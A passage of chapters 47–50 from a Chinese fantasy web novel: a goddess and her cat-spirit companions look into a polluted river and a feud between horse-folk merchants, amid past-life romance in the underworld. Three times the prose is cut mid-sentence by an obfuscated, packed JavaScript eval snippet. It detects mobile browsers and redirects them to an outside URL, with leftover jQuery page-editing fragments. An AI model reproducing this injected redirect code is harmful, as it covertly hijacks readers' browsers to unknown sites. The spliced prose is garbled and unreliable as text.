圆胖橘突然拉着颜笙的袖子。颜笙蹲下,圆胖橘扒着她耳边说:“爹,我们不应该帮着马小灵。他完全被坏人仙人跳了,现在堕落到只能织布了。” 圆胖橘依旧固执己见,愤愤道:“可他原本是一匹战马,本该驰骋疆场,奔腾在广阔天地之间!父亲马大隆倾尽半生积蓄培养他,让他成为骁勇善战的骏马。结果他竟然放弃了一切,甘愿去织布!” 颜笙呵然,反唇相讥:“那我倾尽炼丹房每个月的丹药份额为你购药,也没见你坚持打坐,努力飞升。” 圆胖橘嘴角往下捺了捺,脸上写满不甘。见状,颜笙便对陆析使了个眼色,示意他今日从花否那里听来的故事娓娓道来。 马大隆是马场主人,家中妻妾成群,却渴望有个儿子。然而妻妾接连生下五个女儿。后来马夫人怀第六胎,仍是女儿。 马夫人不忍丈夫失望,便以自身美貌为代价,向骨头精花否换取转龙丹,最终生下一子,马小灵。 马小灵生来是天赋异禀的骏马,屡次在赛马比赛而夺得冠军,引得马场的客人愈来愈多,马场的生意蒸蒸日上。 可马夫人失去美貌,色衰而爱驰,积郁成疾,而后与马大隆和离,把马小灵放在马大隆家。 马小灵家中五个长姐都是家中缝制马鞍的巧手,在父亲的马鞍铺子做事。而马小灵从小看到姐姐们辛苦缝制马鞍,便坐在他们之中,也跟着一起缝制马鞍。 没想到马大隆路过,看到马小灵在旁边做女红,立刻把他揪走,还说:“你碰这些女人的东西,对得起你娘吗?” 后来他听到家中姨娘的谈话,才知道自己转龙丹而造出的假男子,而马夫人失去容貌,原因也是和有常屋做了交换。 于是马小灵前往有常屋,将自己换回女儿身,同时拿回了母亲的皮囊。 一开始马小灵并没有打算退出赛场,可是在父亲瞧见马小灵变成母马后,竟把她赶出家门。周围所有的马场畏惧马大隆的权势,不肯收留马小灵。 后来马小灵的朋友将她安排在马鞍铺里做事。 至于马小灵被朋友仙人跳而退役的事,纯粹是马大隆臆测。他不满其他马鞍铺影响他的生意,便散布谣言,鼓动信徒闹事。 舆论被煽动得愈发激烈,而花否也趁机盯上了马小灵的马尾,只因阔绰的画家马凉正欲购入笔刷所使用的材料。 47. 牛马之道(一) “咳、咳……神仙也不能血口喷人!”马五福脸色白得像被抽了魂,可声音依旧中气十足,“小灵是我青梅竹马的朋友,我怎会骗她的尾巴?” 外头等候的金建果听到争吵,立即对圆胖橘递了个眼色。两只猫影微微摇晃,一金一橘蹿上屋檐,踩着瓦脊溜进后院。 没一会儿,两只猫叼着布袋,一前一后蹦到被赶出门的颜笙脚边,把袋子轻轻吐在地上。 颜笙弯腰打开袋子,见里头是一把虚体丹,挑了几颗放在掌心里晃了晃,抬眼看马五福:“吃这个做什么?装病?骗马小灵?想趁机搞垮她父亲的铺子?” 马五福眼珠子转转,正想着辩白一番。 此时仙及也凑个热闹般扑扇着翅膀过来,踩在颜笙肩头,一双小眼睛毫不掩饰地盯着马五福。 马五福瞥见仙及,脸色更难看了几分,像被什么戳中了痛处。她低下头,长长吐了口气:“……这药,是我拿来装病的。” “所以,小灵的尾巴……真是你们仙人跳骗走的?” “天地可鉴!我一文钱都没收过!”马五福连连摆手,“我做这件事……不是害人,是为了牛马城更多的百姓。” 马五福抿抿唇,继续道:“马大隆盯上我铺子,不是因为生意,是因为水源。” 牛马城有两条河,一条是子母河,是牛马城居民用水;另一条忘川河,归冥王殿所有,那水喝完了会忘记前尘,所以通常没人敢喝。 牛马城的居民与铺子共用子母河,再过去是没什么问题的。 可这几年,子母河越来越浑。马五福顺着河往上查,查到马大隆的马鞍厂,他们制造皮革时造成的大量污水,全都往河里倾倒。 “我回去之后,就把事禀报给城主,环境队也查了好几回……”马五福嗤笑了一声,“次次查,次次查不出半点问题,都说水质满足牛马供应标准,但眼见着水越来越黑,越来越臭。” “明眼人都知道是官吏与豪绅勾连。”马小灵接话道,“历任城主之所以能当上城主,还是靠我爹撒币贿选”说完这话,她瞥了一眼旁边的金建果,又道:“我认识你舅舅,以前也是城主。” 马五福继续道:“我想破局,只能接近马小灵,从她那里找到突破口。” “谁知小灵性子心软脾气冲。知道真相后直接跟父亲闹翻……又因为马夫人的事,再次与马大隆断绝。线索就这么断了。” “我爹天生脑疾,从不觉得自己错。后来子母河浑成剧毒河,百姓没办法,只能改喝忘川水。”马小灵阴阳道,“毕竟,那是官家的河。没人敢往里倒脏水。” 听到这段,抱朴小队的人齐刷刷看向颜笙。他们忽然想起,在驿站喝水时,颜笙每次都先查过水源,像是早就知道忘川水有鬼。 颜笙淡淡道:“忘川水呀,从我第五十三世起,这里的人就开始喝了”她顿了顿,继续道:“其实,我也中过招。” 近来她吸收了萧知颜的碎片,脑海里多了几段无常界的旧记忆。 她轻声补充:“牛马城原本还是三大古城之一的景点,偶尔还有些游客愿意往这地下跑。可子母河一浑,忘川水一代替,人就越来越少。如今旅游业停摆,剩下的都是土著与苦命的牛马。” 马五福苦笑:“我本以为此事无解,可花否说,小灵那条尾巴是破局关键——能钓来贵人,让事情有转机。” 颜笙扶额:“什么贵人?她让你骗尾巴,是想把马尾卖给马凉换钱罢了。那叫她的财富贵人,不是你的贵人。” 她心说,普通牛马果然淳朴,妖怪随便说两句就信了。 “可……确实把颜笙上神给招来了。”马小灵从后方走来,神色恳切:“颜笙上神,不论是不是骗局,还请您救救牛马城。” 颜笙与陆析对视一眼,只好应下:“就算你尾巴没被偷,只要你向抱朴派报备,黍三刀也会派人来。何苦让奸人占了你的便宜?” * 虽说颜笙应下了,可路上圆胖橘和金建果对着她一通分析,她心底里也有点存疑。一行人往牛马城郊外走去时,路旁忽然出现一座古庙。 庙里供着一尊姚蜚声的神像。虽有些陈旧,却一尘不染,看得出有人经常来打扫。 见颜笙困惑,金建果解释:“姚蜚声是无常界守护神。当年为抵御桃源境,损了本体。无常界的人至今把蝉当圣物。” 颜笙这才想到,刚才仙及落在她肩上时,马五福立刻改口认错。原来不是怕虫,而是怕蝉。 他们沿河往上走,越走越冷。子母河两岸花香最盛,自下游至上游种植的花卉越来越名贵,越是名贵的花香气越清冷。 走到马大隆的马鞍铺附近时,河岸上突然成片成簇的凝烟白蝉花亮了出来。 这些会发声的花朵,毫无章法地挤在上游河岸,与颜笙花园内井然有序的花丛不同。它们发出的声音嘈嘈杂杂,和嗡嗡叫的蜜蜂一样烦人。 “这里的凝烟白蝉花并非观赏用,据说可以净化周遭环境。”金建果解释道:“听闻以前陀铃火渊有位谪仙,专门种这花,是为了让他投胎为人的爱人,能随时回陀铃火渊与他小住,而不被魔气侵染。” 颜笙目光飘远,忽道:“凡人跑到幽冥和谪仙同居,就算她一点魔气不染,旁人也不会信。” 倒是河里的鱼,比花还守纪律。它们排着整齐队伍,一条条大鱼和小鱼,皆戴着海螺耳塞,在污水里奋力往上游。 颜笙他们觉得新奇,便随着鱼群往上走。到了闸口,见一只已化成人形的鲶鱼精,正给每条鱼收耳塞,还分门别类放进木盒里。 交完耳塞的鱼,全都领到一颗延寿丹,然后他们随即从分叉口顺着忘川游走了。 鱼精莲蓬头翻看着耳塞,在本子上挨个登记检测数据,随后才抬头看向颜笙等人,警告道“此处乃实验重地,尔等莫要乱闯。若影响实验,马老爷问罪可不好受。” 莲蓬头的本子上密密麻麻写满勾勾叉叉,还有些鱼精文字。 颜笙看不懂,便指了指记录,问“这是在实验什么?” 莲蓬头叹道:“噪音测试呗。环境局隔三差五来找茬,说马老爷种的凝烟白蝉花造成‘声污染’,害鱼失忆。” 金建果气得跳脚:“鱼记忆本来就只有七秒!关花朵什么事!” 圆胖橘补刀:“我爹宫殿也种这些花,可她到现在都记得我偷懒打坐!” 莲蓬头叹一声:“没法子,这是环境局的要求。马老爷也头疼。”他又压低声音道:“环境局专挑马老爷的铺子刁难……多半是收了马五福的打点。” “这话可不能乱讲。”颜笙淡淡提醒,“没证据的指控,最容易被反咬。” 圆胖橘扯扯颜笙袖子,让她蹲下,小声说: “马大隆演讲里说,牛马城很多铺子都挪公款,再找借口把钱拨给合作商,然后洗干净。马五福那铺子就是典型。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137176|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜笙是没听明白,金建果在旁边给她解释,总结就是以下几点。 马大隆的马鞍真材实料的皮革所制,结实耐用,定价也正常。马五福那边,拿不值钱的布料和草,借着环保的由头,把价格炒到天上去。 牛马们不是傻的,这价钱一看就是洗钱。 两只猫妖越说越激动,立场又跑去和马大隆站一起。圆胖橘尤其严重,张口又喊:“铮铮牛马,再创辉煌!”。 朱柳蛋完全不敢靠近,生怕被当成同伙。 颜笙忍着不直接给圆胖橘来一道失忆咒,拎着他训道:“你修身尚且困难,还惦记着光宅天下?你们到无常界是来做任务的,不是来请客吃饭搞革命的。” 圆胖橘这才回魂,他们此行的目的是替马五福的铺子重新开张,可他不怎么认同委托人,便拉住陆析的袖子:“我们真的要帮她吗?小心助纣为虐!” “助纣为虐是贬义词吗?”颜笙忽而笑得眉眼弯弯,语气温柔得让人发毛:“孝顺的小东西,开口骂街前就没查查族谱,看看我的祖宗是谁?”圆胖橘吓得赶紧开溜,却被颜笙先一步提了起来,只好在划动手臂挣扎。 陆析看着两人洗脑,仍是那副淡淡的态度:“未至其知,不可妄与。我们先把手头任务做完。” 正当他们各怀鬼胎时,不远处突然传来一声轻软的呼唤。 “颜儿。” 那声音极轻,凡人听不见,只有颜笙敏锐捕捉到。 她侧过头,看向声音来处。 唤她的是莲江仙。她臂弯挽着竹筐,里面装着萍草与薇菜,安静地站在河对岸。 颜笙没有多少子颜的记忆,与莲江仙也生疏,只淡淡点了点头。 莲江仙从未见过如此冷淡的子颜,不免一怔。再看清她身旁的一圈陌生人,才意识到眼前这位上神已不是一万三千年的谪仙子颜。 她的养女已入新的轮回,有了新名姓、新家人……也不会再记得她了。 更何况,那孩子最后记住的自己恐怕是最糟的模样。 那个曾被她视为掌上明珠的女孩,最后竟在她冷绝的目光中,拖着残破的喉咙消失在风雪里 莲江仙轻轻叹息,终究什么也没说,只匆匆离开。 颜笙望着对岸,只瞧见莲江仙转身时抬手抹泪。她心口微紧,却又无能为力。毕竟她没有子颜的记忆,就算追上去,也不知如何开口。 莲蓬头见莲江仙走远,才悄声解释:“那位是桃源境的花仙,一万三千年前带儿女从桃源境迁到幽冥。她女儿是谪仙,某天忽然哑了,被她狠心赶出家门。后来儿子阴寿将尽,被拖去投胎……她便留在幽冥茕茕独居,也没回桃源境。” 颜笙心知肚明,莲江仙的一儿一女,指的是子参和子颜两兄妹。 子颜哑了,还被人赶走。 颜笙蓦地想起崔攸霁说过,陆贺年在陀铃火渊时,总惦记一个哑巴。她当时听罢,心里酸楚一整日。 现在这么看,那个哑巴……说的也是她的前世子颜。 她堂堂一介上神,竟然做过哑巴,她竟也有过如此狼狈的时日? 不过,这里面肯定有蹊跷。 她在画卷里看到过子颜飞升前的事,莲江仙找子颜找了整整五年。就算后来知道子颜替“仇家”陆贺年生下继承人,她也未与子颜断绝母女情分。 怎么可能,到了“哑了”这么一件小事上,就把人赶走? 48. 牛马主义(二) 无常界的一棵枣树下,疏落的蝉鸣与雨声交错,树下铺着一圈凝烟白蝉花。树旁并肩站着一男一女,两人的目光皆落在前方凉棚里那位年轻画家身上。 云游画家马凉坐在凉棚里,手里握着毛笔,笔尖凝墨而迟迟未落,总觉得少了点什么。他抬头瞧向青空,阴云厚得像压在眼睫上,似乎雨水很快便要落下。 殷殷一声雷响,划破涨满雨意的稠云,雨水瓢泼而落。 陆贺年见状,撑起一把纸伞。 元沁雪立刻钻到伞下,靠得极近,抬眼偷瞧他。那一瞬,她的呼吸乱得自己都能听见,却都被雨声吞没。 雨滴敲在伞面,发出如同珠翠落盘的声响,噼啪噼啪。水珠顺着伞檐滑落,落在白蝉花上。原本干瘪无力的白蝉花吸饱水,发出清脆的嗓音: “我可能……还是喜欢你。” 那嗓音,分明就是颜笙的音色。 陆贺年像被雷劈了似的,下意识看向脚边的花,偶然瞥见花前站着位瘦削女子,像避祸似的站远了。 马凉突然灵思涌动,开始在纸上大展鸿图,过了极其漫长的一刻钟后,落下最后一笔,题曰:《青青草地》。 尽管那段告白是凝烟白蝉花说的,并非来自元沁雪,但她仍慌乱地低下头,说道:“原来这花还有这个用途。” 陆贺年因崔瑶先前的‘提醒’,如今对元沁雪的一举一动都暗自提防。自己刚才那一闪避,把对方脸色都吓白了。 他意识到自己反应过激,尴尬得有点难堪,勉强回道:“凝烟白蝉花录过千字文,意思能随便拼。我妻子拥有三界全部花种,以前她拿花念叨我和瑶儿,现在瑶儿一生气,就拿花模仿她说话。” 马凉已把画吹干,这时提着卷轴走来,毫不客气地调侃:“这花种最全的,不是那位上神家吗?她夫君天道早死了,如今身边只有个凡人面首陆析。你看着哪个都不像。” 陆贺年握在袖中的手一僵,内心有些愤懑,尤其是听到颜笙有个面首的事,但他碍于元沁雪的面,也不好发作。 一朵白蝉花擦在他的鼻尖,陆贺年转头,瞧见元沁雪捏了一枝白蝉花,“别生气了。这花好香,你闻闻看。” 陆贺年看了一眼,便躲开了。 这花在陀铃火渊里到处都是,香气他早就已经熟悉得不能再熟悉。 陆贺年转身走到马凉旁边,掐住他的笔杆:“这花从何而来?为何声音如此?” 马凉指了指元沁雪:“再走过去让我画一幅,我便告诉你。” 陆贺年深吸一口气,压抑着怒火,道:“最后一幅。” 马凉丝毫未觉察自己刚刚是劫后余生,还在那里沾沾自喜自己拿捏了别人,提起笔继续作画。 他吭哧吭哧画完第二幅画,题曰:《强扭的瓜,脆脆的沙》 马凉两幅画装裱卷轴,分别精心地卷起来,才算是完工。他抬起酸胀的胳膊,拿袖子擦擦满头的汗,抬眼瞧见画摊前站了五位陌生人。 为首是位看着面善的女子,脖子直挺挺的,以冷冽严肃的眼神审视他一眼,随后掠去他新添置的毛笔,问道:“值几颗灵石?” 马凉举起右手,比划了个“五”。 眨眼间,桌上“啪”地掉下五百颗灵石。 马凉吓得魂都飞了,赶紧退回大部分,只收下四十颗:“……五十颗买的,还用过。四十颗够了……” “五十颗也不少。”圆胖橘趴在桌边,瞧着他瘪瘪的钱袋,眨巴着眼:“你这么穷,怎么舍得花五十颗灵石买一根笔?” 马凉苦笑:“我近两年失灵感,一幅画都创作不出来。又去找有常屋的花否占过,她说若我从她那里买一支新笔,就能招来贵人。” 圆胖橘问:“那贵人来了?” 马凉点头,目光望向枣树那边。枣树旁边的元沁雪已经离开,陆贺年再见到颜笙,箭步朝他们走来。 颜笙看见马凉桌上的卷轴,随意拿了一卷,忍不住展开瞧瞧到底他满意什么。只见纸面上陆贺年和元沁雪同撑一伞,元沁雪笑得跟花似的。 她面色如常,语气忍不住酸不溜秋:“传言果然不是空穴来风。” “流言往往就是毫无根据的。”陆贺年按住颜笙的手腕,合上那幅画:“倒是近日有流言,说你收了个面首,可我没当真。” “你该信,因为那不是流言。”颜笙白了他一眼,赌气地牵起陆析,“我真的跟这凡人在一起了。” 陆贺年看了一眼陆析,眼神不算友善,又道:“虽说面首不重要……但你确定,他知根知底?” “总比你用别人的身份来见我强。”颜笙道。 陆贺年沉默半晌,忽道:“你都知道了?”又瞥见她发间的断翅凤钗,“全都想起来了?” 他伸手要去碰那根发钗,颜笙忙护住:“你休想把送出去的东西收回去。” 陆贺年侧过身,声音贴着她耳畔:“面首,一个也行,十个也行。我又不是第一次没名没分地跟着你,当时在庙里……” “你少口出狂言。”颜笙觉得耳边热热的,红着脸:“你……你先解释一下,那个女孩的事。” “今晚回幽冥住吧。我慢慢解释给你听。”陆贺年低头,唇轻蹭一下她的耳尖,瞧见她如既往般微颤的反应,又淡漠地扫一眼不远处的陆析。 周围抱朴小队的其他人,也在窃窃私语。 “这人谁啊。又一个面首?”朱柳蛋问。 金建果点头:“看气质像陀铃火渊的,我们上神面首多点,不也很正常吗?” 圆胖橘抱臂,一本正经地瞎说:“陆析见他要行执妾礼。” * 及至日暮,颜笙如约来到幽冥。 崔瑶见到她先是一惊,不过很快被陆贺年打发回自己的院子。 颜笙来时脸色并不算好,怀里揣着两个卷轴。她把卷轴“啪”地摊到桌上,一个是今早她看过的,另一个是新的。 元沁雪拿着一枝花,挑逗着旁边皱眉的陆贺年,她的笑容如一朵洁白的栀子花。她看他的眼神一点也不清澈,藏着一丝狡诈和贪欲。 颜笙早上两幅画都买下来,本想拿回去都烧了,但路上又没忍住打开画瞧,登时火气上头。稍微好点的心情,又消失殆尽。 她白了一眼旁边的陆贺年,讥诮道:“瞧她笑多甜,像吃了个沙瓤的瓜。” 陆贺年指了指自己:“那你看旁边的我,丧得跟个苦瓜似的。” 颜笙微微一笑,抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143782|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着枕头上了榻,但仍未消气:“说不准人家姑娘就好这口。要不,你随我回显熠宫住?以后别出来了。”她的意思是想金屋藏娇,免得别人惦记。 陆贺年坐到旁边,但也只叹口气:“我之所以留在幽冥,是因为答应了姚城主。” “哦。”颜笙冷淡地回应,同时把他往外推。 陆贺年无奈,只好从当年借阴兵讲起。 当时无常界的守护神是姚蜚声,她同时也是幽冥的城主,是一只蝉精。 陆贺年借阴兵攻打被神庇佑的玄鸟,还是姚蜚声借的他十万阴兵,但他们之前也有签订一条契约。 姚蜚声做过占卜,说她三千年后会有生死劫。她不放心幽冥的子民,便把幽冥城暂托给被贬谪的陆贺年,要他暂管幽冥一万年。 可直到现在,姚蜚声也没有回来。 颜笙瞥着他:“姚蜚声去了哪里,你也不知道,所以要替她继续守着这里。” “最后一次见她,是张脆枣抱着一个巨鲸女婴来找我,说是她的孩子,也就是崔瑶。” 陆贺年继续讲下去: 当年崔巍趁着老冥王陆方伯离开,将冥王殿统统换上崔家的亲朋。但幽冥这地方属三不管之地,不为崔家所用。且弹丸之地居住的几乎全是玄鸟后裔,冶炼兵器的水平远超三界其他地方。 崔巍遂派六公子崔攸霁下凡。 崔攸霁以色侍幽冥城主姚蜚声,骗取她的感情。但见姚蜚声不肯交出制造兵器的秘方,他便抛弃她,独自重新投胎去了。 那时姚蜚声已怀有身孕。更致命的是,崔攸霁和崔瑶本体都是巨鲸精怪,而姚蜚声是蝉精。蝉精孕育这等庞然大物,无论生下还是打掉,姚蜚声都活不下去。 在快到她临盆之际,崔巍突然下凡,趁她虚弱时将她从幽冥掳走,并投进了陀铃火渊,丝毫不给她与腹中胎儿生存的余地。 陆贺年表示:“当时我将她从渊底救出来,正巧你母妃莲江仙寻我,所以我才离开了一会儿。姚蜚声后来拒绝张脆枣帮她接生,说要去投奔女性友人,从去牛马城的方向离开了。那是最后一次见面。” “再到后来,就是你转世成萧知颜,却用着姚蜚声的声音。” 颜笙暧昧地笑了笑,“难怪当年……你不准我出声。”她想了想,又推测道:“感觉此事和花否有关。我的声音失踪,还有被换成姚蜚声的声音,都和她有关。” “的确。我寻找关于你声音的线索,查到了马凉。”陆贺年拿出早上马凉的道具花,放到颜笙手里。 那花用着子颜的声音,柔声说道:“我可能……还是喜欢你。” 颜笙打了个哈欠,把花塞回他怀里:“你跟花过吧。我今晚要好好睡一觉,明早还要带那几个信徒做任务。” 陆贺年无奈起身,轻推开门。 门后传来“咚”的一声巨响。崔瑶整个人跌了进来,见自己偷听被抓个正着,她也假装没事人似的,笑容僵硬:“就不打扰你们叙旧了,我回去睡了。” 她腰间还挂着崔攸霁的鱼形玉佩,那边的崔攸霁听得一清二楚。 崔攸霁还在回顾着他们口述中姚蜚声的遭遇,手里白玉酒杯从指尖滑落,摔碎在地,仿佛片片寒彻心扉的雪花。 49. 牛马之道(三) 夕阳西下,霞光沉沉。崔攸霁像一支脱弦之箭,从清凉殿疾步而出。 他平日里被颜笙催债,都能从容不迫地应对,今日怒发冲冠的模样,实属罕见。正在殿内做着实验的宋青葱和宋姜露姐妹,惊得齐刷刷站起来围观。 他立在门口,招来自花朝节后一直处于禁飞期的云朵,毫不犹豫踩上去,一路直冲轩辕门。云朵被他催得太急,尾巴都冒了烟,轰隆作响,把刑部的袁思邈都吵得塞上耳塞。 轩辕门前的天兵正打着瞌睡,被声音一惊,急忙抬头。 见来者是向来温驯好说话的六殿下,两人开始还当自己看错了,等看清确实是六殿下时,也没多少惊慌,好言劝道: “六殿下,轩辕门乃神尊御路,不可擅闯——” 话未说完,崔攸霁衣袖一挥,两名天兵被震得退出数丈。 轩辕门前立着数道复杂而难解的结界。 崔攸霁手中凝出一柄长剑,夕阳映得剑锋赤红。他也没有细细深究那阵法,只抬手刺入结界中心,并注入自己的灵力,结界瞬间化作白烟,消散无踪。 轩辕门訇然洞开。 崔攸霁提着剑,伫立在神尊回程的必经之处。他听着门外潺潺溪流声,脑海中浮现姚蜚声沉在陀铃火渊底部,听着熔浆翻滚时的绝望。 散朝时分,百位仙官从侧门鱼贯而出。他们听闻有人擅闯轩辕门,纷纷来看热闹。 直至看清楚来闯门的,竟是素来温顺乖训的崔攸霁。 今日这是怎么了? 崔巍闻讯赶来,脚下云朵投硬黑影,刚好笼罩在轩辕门前的崔攸霁的头顶,阴沉而又压抑。 “你这是在做什么?”崔巍降云下来,瞧见崔攸霁脸庞久违的颓唐,气急败坏,差点背过气,“你这孽子,又是谁惹到了你?” 崔巍虽然花心,但子嗣稀少,唯有三子尚健在,还都各有各的麻烦。 老大崔攸险在陀铃火渊里兽化了,老二崔攸宁断袖骗婚臭名昭彰,老三崔攸霁因姚蜚声和他离心,从此颓废消沉…… 崔攸霁是这里面好一点的,这些年来,好不容易因崔瑶的到来才平添了几分鲜活气,今日却又像被打回万年前。 崔攸霁举剑,指向崔巍胸口,厉声质问:“姚蜚声是你害死的。” 崔巍眉头不带皱一下,笑道:“一只蝉精不自量力怀上巨鲸的骨肉,最后难产致死。要论凶手,也该是你。” 崔攸霁掏出那枚鱼形玉佩,重复着陆贺年的话:“崔巍将怀孕的姚蜚声投入陀铃火渊里,根本没给她们母女活路。” 轩辕门前,百官哗然。 鲜血自崔巍胸口涌出。崔攸霁拔剑,又抬高几分,指向崔巍的喉口:“是你逼死她们!甚至连投胎的机会都不愿给她们母女。” 崔巍淡定反问:“所以,现在你是要……弑父?为个桑间濮上的妖女?” 周围所有官员皆听得清清楚楚。 提起礼法,崔攸霁恍惚了一瞬,这是他无法面对的事实。 他说到底也只是姚蜚声的近倖,并非与姚蜚声缔结婚姻关系的丈夫,名不正言不顺,连为她报仇这件事,都显得犹为可笑。 继承姚蜚声城池的人,也是陆贺年。那男人和她没有任何关系,但她只说世间唯独陆贺年能守护好幽冥城,而他却不行。 他曾因此苦闷过,父亲却劝他:可以尝试投胎,看看姚蜚声是否真心。 若她真爱他,就会陪他投胎,做真正的夫妻。 崔攸霁真的信了,身为桃源境的高阶神仙,却投了胎吃了很多苦,却再没等来她。 他神思恍惚之际,崔巍趁隙脱身,而从旁围观的子幽抬手施法,将崔攸霁捕获。 * 残阳映在马场上,土色被染得发红,颜笙提着马小灵的一截尾巴走入场内。 远处,马大隆负手站在看台上,正盯着仆从巡逻与马群吃草。他瞧见有人靠近,再看到颜笙手中的东西,眉头一紧,下意识露出厌烦的神色,但很快压下不耐,换上客套笑容。 “你们拿着这肮脏的东西做什么?”马大隆的语气仿佛面对几只碍眼的虫子。 颜笙近前,把尾巴递到他眼前,晃了晃:“你不是很在意它吗?马小灵的尾巴。” 马大隆两指捏起,嫌恶只看一眼便甩给仆人,随后拿起腰间挂着的净手液,像要抹掉那肮脏的触感。 “听说,你每次外出演讲,总要提一句:马小灵被马五福忽悠瘸了,才割掉自己的尾巴,给你丢脸。”颜笙打量着马大隆:“现在尾巴还你了,马五福和你的仇怨,也该解了吧。” “像你这等贱……”马大隆想出口成脏,低头看见圆胖橘和金建果两只猫妖,和四只水汪汪的眼睛。他心中非但没有半分柔软,反而嘲讽更甚:“没孩子的女人,还养两只猫,自以为凉薄的双眼能看透一切,其实脑袋空空,什么都不懂。” 颜笙回给他一记白眼,转身拉过圆胖橘,堵住他的双耳,“小孩子听多了这种脏东西乱吠,容易影响智力。” 她随即转过头,笑眯眯地看向气得发抖的马大隆:“是是是,马兄最懂‘生儿育女’,搭上老婆,费尽心机换了个儿子,结果绕了一大圈,育成了一个女儿。‘买一送一’,好一个亏本买卖。” 马大隆怒目瞪着多事的颜笙,继续讥诮道:“我缺的是这破尾巴?我要的是我儿子。” 颜笙静静听完,才淡声道:“所以我说亏本,你不光儿子回不来,你女儿和老婆……大概也回不来。” 马大隆脸色铁青,摆手示意奴仆赶客。 “马兄慢着。”颜笙语气依旧平稳,“我来不是吵架,更懒得做家庭关系调解员。子母河污染,你最近是不是为了这事头疼?” 马大隆让仆从退下,叹了口气:“马五福和环保属官勾结,天天找我麻烦。连水检都是借机敲诈我。” “你也别装无辜,苍蝇不叮无缝蛋。”颜笙盯着他,“子母河流经你的马鞍铺,污染你脱不了干系。罚款年年少不了你。我劝你还是收拾一下自己的排水。” 马大隆的确为这个事烦忧,绞尽脑汁避开监管,但总能被挑出错处。他道:“我当然想清洁河水。但污染又不是我一家造成,凭什么让我承担?” “本来就不该你一人承担。”颜笙笑着点头,但话锋一转:“所以,我建议你和下游的马五福合作。共同清洁水域,分担资金,也分担责任。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147523|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更能借‘治理水域’的名义挡住环保局,再顺便赢个好名声。” 马大隆眉头动了动,他确有心动,但想到要和马五福化干戈为玉帛,他是不想的。他道:“说到底你是马五福的说客,就是要我放过马五福,让他的铺子重新开张。” 颜笙劝道:“你做到行业第一自然能力不俗,还怕他们?况且,行业做到垄断未必是吉。月满则亏,物极必反。群龙无首反而是吉。锋芒不至于毕露,也不会被政客们忌惮。” 马大隆沉吟半晌:“容我再想三五日。” 颜笙微微皱眉,她知道耽搁时间越长,就意味着拒绝的可能性极大。 陆析也看出了这一点。 马大隆当年是姚蜚声执政时期发家,而姚蜚声对幽冥城管得严,对无常界更加多放任,他不需要考虑和官员们打交道。 现如今崔巍执政,如今牛马城势力繁杂,崔攸宁那些男宠相互间勾心斗角,偏偏这帮男宠都有一官半职,搞得无常界各方势力揪斗,每个人都被迫站队。 马五福和马大隆显然是站在对立的两方势力,合作的话势必会得罪原先支持的一方,所以他现在骑虎难下。 唯有吏治重现冰霜之洁,商人方能专于商贾。可这样的话,抱朴小分队不免要介入无常界的内斗。 陆析心中已有退意,想放弃任务。 颜笙却更固执。她见陆析垂头,重重拍了拍他背,像是给予他无声的鼓励。 之后,颜笙他们向马大隆询问关于姚蜚声和花否的事。 马大隆却表示,自己还真见过临终前的姚蜚声:“我最后一次见姚蜚声,是在牛马城郊外。我看见她挺着肚子走进花否的有常屋。之后,她再没出来。再后来……花否用上了她的皮囊。” 颜笙后来又拿着马大隆的供词,去找了花否。 花否见是戴面具的颜笙来盘问,笑得轻慢:“姚城主确实来过。她说容貌死后带不走,不如留给需要的人。我们做了笔交易。至于内容……除了这张皮,她未让我说。 她施法给自己的脸上浓妆艳抹,果然出现了和幽冥城神像相似的面容。 陆析看一眼旁边戴着面具的颜笙,对花否仍质问:“即便容貌能换,你的声音至少是骗来的。那声音的主人,是全天下最爱惜自己的女子。她怎么会把声音拿来交易?” 花否“诶”了一声,眯眼道:“你说子颜啊。子幽和南歌子的女儿,自幼跟着莲江仙长大,以孝顺闻名。” 这话虽未明说,但也透露了不少关键信息。子颜声音被换走,确实是因为和花否做了交易,而交易的内容和她的父母有关。 陆析其实是相信这话的。 子颜做事极端,上次他和颜笙入画回到一万年三千年前,看见她竟施展禁术,把他们全家的罪孽都写在自己身上,试图替全家背罪。 奈何子颜和颜笙是同个灵魂,那禁术的痕迹也同步到颜笙的手臂,这才让颜笙察觉端倪。 第一世的子颜如此,现在的颜笙也是如此。年轻时的子颜如此,现在的颜笙也如此。身体发肤,受之父母。珍惜性命,守着父母赐予的身体,何尝不是另一种孝顺? 可这样,真的是对的吗? 50. 琉璃往事(一) “就算子颜自愿用声音做交易,天道又怎么可能交易自己的灵魂?”陆析结合自身想了想,没有落入花否的圈套。 